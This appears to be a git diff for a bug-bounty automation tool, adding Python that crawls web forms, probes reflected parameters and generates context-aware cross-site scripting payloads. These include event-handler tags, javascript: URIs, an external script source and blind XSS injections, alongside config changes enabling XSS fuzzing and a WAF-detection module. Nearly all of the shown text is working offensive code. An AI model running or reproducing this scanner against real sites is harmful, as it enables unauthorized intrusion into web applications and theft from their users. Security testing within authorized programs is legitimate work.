xsschecker, response + ) + for occurence in comment_context: + thisPosition = occurence.start(1) + position_and_context[thisPosition] = "comment" + environment_details[thisPosition] = {} + environment_details[thisPosition]["details"] = {} + database = {} + for i in sorted(position_and_context): + database[i] = {} + database[i]["position"] = i + database[i]["context"] = position_and_context[i] + database[i]["details"] = environment_details[i]["details"] + + bad_contexts = re.finditer( + r"(?s)(?i)<(style|template|textarea|title|noembed|noscript)>[.\s\S]*(%s)[.\s\S]*" + % xsschecker, + response, + ) + non_executable_contexts = [] + for each in bad_contexts: + non_executable_contexts.append([each.start(), each.end(), each.group(1)]) + + if non_executable_contexts: + for key in database.keys(): + position = database[key]["position"] + badTag = is_bad_context(position, non_executable_contexts) + if badTag: + database[key]["details"]["badTag"] = badTag + else: + database[key]["details"]["badTag"] = "" + return database + + +def checker(config, proxy, url, params, GET, payload, positions, encoding): + checkString = "st4r7s" + payload + "3nd" + if encoding: + checkString = encoding(unquote(checkString)) + + proxies = prepare_proxies(proxy, config) + headers = { + "User-Agent": random.choice(USER_AGENTS), + "X-HackerOne-Research": "elniak", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "accept-language": "en-US,en;q=0.9", + "cache-control": "max-age=0", + "Connection": "close", + "DNT": "1", + "Upgrade-Insecure-Requests": "1", + } + response = start_request( + proxies=proxies, + base_url=url, + params=replace_value(params, xsschecker, checkString, copy.deepcopy), + headers=headers, + GET=GET, + ) + + if hasattr(response, "text"): + response = response.text.lower() + + reflectedPositions = [] + for match in re.finditer("st4r7s", response): + reflectedPositions.append(match.start()) + filledPositions = fill_holes(positions, reflectedPositions) + # Itretating over the reflections + num = 0 + efficiencies = [] + for position in filledPositions: + allEfficiencies = [] + try: + reflected = response[ + reflectedPositions[num] : reflectedPositions[num] + len(checkString) + ] + efficiency = fuzz.partial_ratio(reflected, checkString.lower()) + allEfficiencies.append(efficiency) + except IndexError: + pass + if position: + reflected = response[position : position + len(checkString)] + if encoding: + checkString = encoding(checkString.lower()) + efficiency = fuzz.partial_ratio(reflected, checkString) + if reflected[:-2] == ( + "\\%s" % checkString.replace("st4r7s", "").replace("3nd", "") + ): + efficiency = 90 + allEfficiencies.append(efficiency) + efficiencies.append(max(allEfficiencies)) + else: + efficiencies.append(0) + num += 1 + return list(filter(None, efficiencies)) + + +def check_filter_efficiency(config, proxy, url, params, GET, occurences, encoding): + """_summary_ + + Args: + config (_type_): _description_ + proxy (_type_): _description_ + url (_type_): _description_ + params (_type_): _description_ + GET (_type_): _description_ + occurences (_type_): _description_ + encoding (_type_): _description_ + + Returns: + _type_: _description_ + """ + positions = occurences.keys() + sortedEfficiencies = {} + # adding < > to environments anyway because they can be used in all contexts + environments = set(["<", ">"]) + for i in range(len(positions)): + sortedEfficiencies[i] = {} + for i in occurences: + occurences[i]["score"] = {} + context = occurences[i]["context"] + if context == "comment": + environments.add("-->") + elif context == "script": + environments.add(occurences[i]["details"]["quote"]) + environments.add("") + elif context == "attribute": + if occurences[i]["details"]["type"] == "value": + if ( + occurences[i]["details"]["name"] == "srcdoc" + ): # srcdoc attribute accepts html data with html entity encoding + environments.add("<") # so let's add the html entity + environments.add(">") # encoded versions of < and > + if occurences[i]["details"]["quote"]: + environments.add(occurences[i]["details"]["quote"]) + for environment in environments: + if environment: + efficiencies = checker( + config, + proxy, + url, + params, + GET, + environment, + positions, + encoding, + ) + efficiencies.extend([0] * (len(occurences) - len(efficiencies))) + for occurence, efficiency in zip(occurences, efficiencies): + occurences[occurence]["score"][environment] = efficiency + return occurences + + +def random_upper(string): + return "".join( + random.choice((x, y)) for x, y in zip(string.upper(), string.lower()) + ) + + +def genGen( + fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, badTag=None +): + vectors = [] + r = random_upper # random_upper randomly converts chars of a string to uppercase + for tag in tags: + if tag == "d3v" or tag == "a": + bait = xsschecker + else: + bait = "" + for eventHandler in eventHandlers: + # if the tag is compatible with the event handler + if tag in eventHandlers[eventHandler]: + for function in functions: + for filling in fillings: + for eFilling in eFillings: + for lFilling in lFillings: + for end in ends: + if tag == "d3v" or tag == "a": + if ">" in ends: + end = ">" # we can't use // as > with "a" or "d3v" tag + breaker = "" + if badTag: + breaker = "" + vector = ( + breaker + + "<" + + random_upper(tag) + + filling + + random_upper(eventHandler) + + eFilling + + "=" + + eFilling + + function + + lFilling + + end + + bait + ) + vectors.append(vector) + return vectors + + +def js_contexter(script): + broken = script.split(xsschecker) + pre = broken[0] + # remove everything that is between {..}, "..." or '...' + pre = re.sub(r'(?s)\{.*?\}|(?s)\(.*?\)|(?s)".*?"|(?s)\'.*?\'', "", pre) + breaker = "" + num = 0 + for char in pre: # iterate over the remaining characters + if char == "{": + breaker += "}" + elif char == "(": + breaker += ( + ";)" # yes, it should be ); but we will invert the whole thing later + ) + elif char == "[": + breaker += "]" + elif char == "/": + try: + if pre[num + 1] == "*": + breaker += "/*" + except IndexError: + pass + elif char == "}": + # we encountered a } so we will strip off "our }" because this one does the job + breaker = stripper(breaker, "}") + elif char == ")": + # we encountered a ) so we will strip off "our }" because this one does the job + breaker = stripper(breaker, ")") + elif breaker == "]": + # we encountered a ] so we will strip off "our }" because this one does the job + breaker = stripper(breaker, "]") + num += 1 + return breaker[::-1] # invert the breaker string + + +def generator(occurences, response): + scripts = js_extractor(response) + index = 0 + vectors = { + 11: set(), + 10: set(), + 9: set(), + 8: set(), + 7: set(), + 6: set(), + 5: set(), + 4: set(), + 3: set(), + 2: set(), + 1: set(), + } + for i in occurences: + context = occurences[i]["context"] + if context == "html": + lessBracketEfficiency = occurences[i]["score"]["<"] + greatBracketEfficiency = occurences[i]["score"][">"] + ends = ["//"] + badTag = ( + occurences[i]["details"]["badTag"] + if "badTag" in occurences[i]["details"] + else "" + ) + if greatBracketEfficiency == 100: + ends.append(">") + if lessBracketEfficiency: + payloads = genGen( + fillings, + eFillings, + lFillings, + eventHandlers, + tags, + functions, + ends, + badTag, + ) + for payload in payloads: + vectors[10].add(payload) + elif context == "attribute": + found = False + tag = occurences[i]["details"]["tag"] + Type = occurences[i]["details"]["type"] + quote = occurences[i]["details"]["quote"] or "" + attributeName = occurences[i]["details"]["name"] + attributeValue = occurences[i]["details"]["value"] + quoteEfficiency = ( + occurences[i]["score"][quote] + if quote in occurences[i]["score"] + else 100 + ) + greatBracketEfficiency = occurences[i]["score"][">"] + ends = ["//"] + if greatBracketEfficiency == 100: + ends.append(">") + if greatBracketEfficiency == 100 and quoteEfficiency == 100: + payloads = genGen( + fillings, eFillings, lFillings, eventHandlers, tags, functions, ends + ) + for payload in payloads: + payload = quote + ">" + payload + found = True + vectors[9].add(payload) + if quoteEfficiency == 100: + for filling in fillings: + for function in functions: + vector = ( + quote + + filling + + random_upper("autofocus") + + filling + + random_upper("onfocus") + + "=" + + quote + + function + ) + found = True + vectors[8].add(vector) + if quoteEfficiency == 90: + for filling in fillings: + for function in functions: + vector = ( + "\\" + + quote + + filling + + random_upper("autofocus") + + filling + + random_upper("onfocus") + + "=" + + function + + filling + + "\\" + + quote + ) + found = True + vectors[7].add(vector) + if Type == "value": + if attributeName == "srcdoc": + if occurences[i]["score"]["<"]: + if occurences[i]["score"][">"]: + del ends[:] + ends.append("%26gt;") + payloads = genGen( + fillings, + eFillings, + lFillings, + eventHandlers, + tags, + functions, + ends, + ) + for payload in payloads: + found = True + vectors[9].add(payload.replace("<", "%26lt;")) + elif attributeName == "href" and attributeValue == xsschecker: + for function in functions: + found = True + vectors[10].add(random_upper("javascript:") + function) + elif attributeName.startswith("on"): + closer = js_contexter(attributeValue) + quote = "" + for char in attributeValue.split(xsschecker)[1]: + if char in ["'", '"', "`"]: + quote = char + break + suffix = "//\\" + for filling in jFillings: + for function in functions: + vector = quote + closer + filling + function + suffix + if found: + vectors[7].add(vector) + else: + vectors[9].add(vector) + if quoteEfficiency > 83: + suffix = "//" + for filling in jFillings: + for function in functions: + if "=" in function: + function = "(" + function + ")" + if quote == "": + filling = "" + vector = ( + "\\" + quote + closer + filling + function + suffix + ) + if found: + vectors[7].add(vector) + else: + vectors[9].add(vector) + elif tag in ("script", "iframe", "embed", "object"): + if ( + attributeName in ("src", "iframe", "embed") + and attributeValue == xsschecker + ): + payloads = ["//15.rs", "\\/\\\\\\/\\15.rs"] + for payload in payloads: + vectors[10].add(payload) + elif ( + tag == "object" + and attributeName == "data" + and attributeValue == xsschecker + ): + for function in functions: + found = True + vectors[10].add(random_upper("javascript:") + function) + elif quoteEfficiency == greatBracketEfficiency == 100: + payloads = genGen( + fillings, + eFillings, + lFillings, + eventHandlers, + tags, + functions, + ends, + ) + for payload in payloads: + payload = quote + ">" + random_upper("") + payload + found = True + vectors[11].add(payload) + elif context == "comment": + lessBracketEfficiency = occurences[i]["score"]["<"] + greatBracketEfficiency = occurences[i]["score"][">"] + ends = ["//"] + if greatBracketEfficiency == 100: + ends.append(">") + if lessBracketEfficiency == 100: + payloads = genGen( + fillings, eFillings, lFillings, eventHandlers, tags, functions, ends + ) + for payload in payloads: + vectors[10].add(payload) + elif context == "script": + if scripts: + try: + script = scripts[index] + except IndexError: + script = scripts[0] + else: + continue + closer = js_contexter(script) + quote = occurences[i]["details"]["quote"] + scriptEfficiency = occurences[i]["score"][""] + greatBracketEfficiency = occurences[i]["score"][">"] + breakerEfficiency = 100 + if quote: + breakerEfficiency = occurences[i]["score"][quote] + ends = ["//"] + if greatBracketEfficiency == 100: + ends.append(">") + if scriptEfficiency == 100: + breaker = random_upper("") + payloads = genGen( + fillings, eFillings, lFillings, eventHandlers, tags, functions, ends + ) + for payload in payloads: + vectors[10].add(payload) + if closer: + suffix = "//\\" + for filling in jFillings: + for function in functions: + vector = quote + closer + filling + function + suffix + vectors[7].add(vector) + elif breakerEfficiency > 83: + prefix = "" + suffix = "//" + if breakerEfficiency != 100: + prefix = "\\" + for filling in jFillings: + for function in functions: + if "=" in function: + function = "(" + function + ")" + if quote == "": + filling = "" + vector = prefix + quote + closer + filling + function + suffix + vectors[6].add(vector) + index += 1 + return vectors + + +def attacker_crawler( + scheme, host, main_url, form, blindPayload, encoding, config, proxy +): + """_summary_ + + Args: + scheme (_type_): _description_ + host (_type_): _description_ + main_url (_type_): _description_ + form (_type_): _description_ + blindPayload (_type_): _description_ + encoding (_type_): _description_ + config (_type_): _description_ + proxy (_type_): _description_ + """ + if form: + for each in form.values(): + url = each["action"] + if url: + if url.startswith(main_url): + pass + elif url.startswith("//") and url[2:].startswith(host): + url = scheme + "://" + url[2:] + elif url.startswith("/"): + url = scheme + "://" + host + url + elif re.match(r"\w", url[0]): + url = scheme + "://" + host + "/" + url + if url not in checkedForms: + checkedForms[url] = [] + method = each["method"] + GET = True if method == "get" else False + inputs = each["inputs"] + paramData = {} + for one in inputs: + paramData[one["name"]] = one["value"] + for paramName in paramData.keys(): + if paramName not in checkedForms[url]: + checkedForms[url].append(paramName) + paramsCopy = copy.deepcopy(paramData) + paramsCopy[paramName] = xsschecker + + headers = { + "User-Agent": random.choice(USER_AGENTS), + "X-HackerOne-Research": "elniak", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "accept-language": "en-US,en;q=0.9", + "cache-control": "max-age=0", + "Connection": "close", + "DNT": "1", + "Upgrade-Insecure-Requests": "1", + } + # TODO add session + proxies = prepare_proxies(proxy, config) + cprint( + f"Testing attack for GET - Session (n° 0): {url} \n\t - parameters {paramsCopy} \n\t - headers {headers} \n\t - xss - with proxy {proxies} ...", + "yellow", + file=sys.stderr, + ) + + response = start_request( + config=config, + proxies=proxies, + base_url=url, + params=paramsCopy, + headers=headers, + GET=GET, + ) + + occurences = html_xss_parser(response, encoding) + positions = occurences.keys() + occurences = check_filter_efficiency( + config, + proxy, + url, + paramsCopy, + GET, + occurences, + encoding, + ) + vectors = generator(occurences, response.text) + if vectors: + for confidence, vects in vectors.items(): + try: + payload = list(vects)[0] + cprint( + "Vulnerable webpage: %s%s%s" + % (green, url, end), + color="green", + file=sys.stderr, + ) + cprint( + "Vector for %s%s%s: %s" + % (green, paramName, end, payload) + ) + break + except IndexError: + pass + if config["blind_xss"] and blindPayload: + paramsCopy[paramName] = blindPayload + cprint( + f"Testing attack for GET with blind payload - Session (n° 0): {url} \n\t - parameters {paramsCopy} \n\t - headers {headers} \n\t - xss - with proxy {proxies} ...", + "yellow", + file=sys.stderr, + ) + proxies = prepare_proxies(proxy, config) + start_request( + proxies=proxies, + config=config, + base_url=url, + params=paramsCopy, + headers=headers, + GET=GET, + ) diff --git a/bounty_drive/bounty_drive.py b/bounty_drive/bounty_drive.py index 938d947..889911e 100755 --- a/bounty_drive/bounty_drive.py +++ b/bounty_drive/bounty_drive.py @@ -33,7 +33,6 @@ from vpn_proxies.vpn_manager import setup_vpn from attacks.xss.xss import test_vulnerability_xss -from attacks.xss.xss_config import * from attacks.sqli.sqli_scan_config import * from attacks.sqli.sqli import test_vulnerability_sqli @@ -392,6 +391,8 @@ def setup_csv(config, categories): # cprint(target, "red", file=sys.stderr) # except Exception as e: # cprint(f"Error: {e}", "red", file=sys.stderr) + except KeyboardInterrupt: + cprint("Exiting...", "red", file=sys.stderr) finally: sys.stderr = orig_stdout f.close() diff --git a/bounty_drive/bypasser/waf_mitigation.py b/bounty_drive/bypasser/waf_mitigation.py index 1e52115..99875cb 100644 --- a/bounty_drive/bypasser/waf_mitigation.py +++ b/bounty_drive/bypasser/waf_mitigation.py @@ -13,8 +13,6 @@ from utils.app_config import USER_AGENTS from requester.request_manager import start_request -# from attacks.xss.xss_config import XSS_TEST_PAYLOAD - def waf_detector(proxies, url, config, mode="xss"): # a payload which is noisy enough to provoke the WAF diff --git a/bounty_drive/configs/config.ini b/bounty_drive/configs/config.ini index 52bf947..9aede3f 100644 --- a/bounty_drive/configs/config.ini +++ b/bounty_drive/configs/config.ini @@ -25,15 +25,14 @@ do_dorking_github = false [XSS] do_xss = true encode_xss = true -fuzz_xss = true +fuzz_xss = false blind_xss = true dom_xss = true [crawler] do_crawl = true skip_dom = false -level = 2 - +level = 1 [SQLi] do_sqli = false diff --git a/bounty_drive/requester/request_manager.py b/bounty_drive/requester/request_manager.py index b43a48d..acb67f7 100644 --- a/bounty_drive/requester/request_manager.py +++ b/bounty_drive/requester/request_manager.py @@ -125,17 +125,90 @@ def get_url(url, GET): return url +def escaped(position, string): + usable = string[:position][::-1] + match = re.search(r"^\\*", usable) + if match: + match = match.group() + if len(match) == 1: + return True + elif len(match) % 2 == 0: + return False + else: + return True + else: + return False + + +def is_bad_context(position, non_executable_contexts): + badContext = "" + for each in non_executable_contexts: + if each[0] < position < each[1]: + badContext = each[2] + break + return badContext + + +xsschecker = "v3dm0s" + + +def replace_value(mapping, old, new, strategy=None): + """ + Replace old values with new ones following dict strategy. + + The parameter strategy is None per default for inplace operation. + A copy operation is injected via strateg values like copy.copy + or copy.deepcopy + + Note: A dict is returned regardless of modifications. + """ + anotherMap = strategy(mapping) if strategy else mapping + if old in anotherMap.values(): + for k in anotherMap.keys(): + if anotherMap[k] == old: + anotherMap[k] = new + return anotherMap + + def js_extractor(response): """Extract js files from the response body""" scripts = [] matches = re.findall(r"<(?:script|SCRIPT).*?(?:src|SRC)=([^\s>]+)", response) for match in matches: - match = match.replace("'", "").replace('"', "").replace("`", "") - scripts.append(match) + if xsschecker in match: + match = match.replace("'", "").replace('"', "").replace("`", "") + scripts.append(match) return scripts -def deJSON(data): +def stripper(string, substring, direction="right"): + done = False + strippedString = "" + if direction == "right": + string = string[::-1] + for char in string: + if char == substring and not done: + done = True + else: + strippedString += char + if direction == "right": + strippedString = strippedString[::-1] + return strippedString + + +def fill_holes(original, new): + filler = 0 + filled = [] + for x, y in zip(original, new): + if int(x) == (y + filler): + filled.append(y) + else: + filled.extend([0, y]) + filler += int(x) - y + return filled + + +def de_json(data): return data.replace("\\\\", "\\")